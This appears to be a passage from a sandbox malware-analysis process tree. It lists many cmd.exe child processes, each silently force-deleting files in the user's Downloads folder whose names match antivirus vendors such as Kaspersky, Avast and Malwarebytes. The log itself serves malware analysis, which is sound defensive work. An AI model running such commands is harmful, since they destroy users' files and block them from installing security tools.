  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2332
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2784
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:960
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4948
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:1336
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4944
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3828
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4928
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3644
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1124
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2032
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:4632
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:868
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:540
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5080
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4444
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3104
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:1188
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4448
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3308
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3988
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5084
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4528
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:3336
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:8
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:2652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1180
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4804
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2016
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4524
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3900
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:1412
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2392
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:2324
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2644
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:1160
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:1244
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:2264
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3044
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4184
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1564
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3280
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:432
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1900
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4352
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4128
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5128
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5144
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5160
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5176
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5192
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5208
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5224
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5240
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5256
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5272
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5300
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5332
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5348
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5364
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5396
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5412
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5428
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5444
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5460
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5476
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5492
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5508
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5524
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5540
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5556
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5572
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5588
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5604
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5620
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5636
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5656
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5672
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5688
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5704
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5720
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5736
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5752
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5768
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5784
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5800
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5816
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5836
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5852
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5868
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5884
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5900
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5916
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5932
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5948
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5964
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5980
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5996
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:6016
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:6032
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:6048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:6064
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:6080
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:6096
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:6112
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:6128
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:1944
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5156
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5172
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5180
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5200
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5236
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5244
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5264
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3364
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5308
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5344
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5356
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5392
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5404
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5420
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:1068
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4496
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2192
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5084
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1636
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4452
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2492
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1780
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5456
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4884
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:2720
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5452
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:3684
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4268
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3720
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4144
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1616
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4992
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2008
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4776
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4916
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:3840
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3624
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4696
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3408
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:4004
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3936
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:552
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5208
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3620
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:384
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1552
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4796
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3892
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2348
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1120
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5016
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4204
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:208
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3284
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:180
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2044
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4500
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:4188
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:2228
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4468
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4012
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3924
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:836
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2828
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:8
- C:\Windows\SYSTEM32\cmd.exe
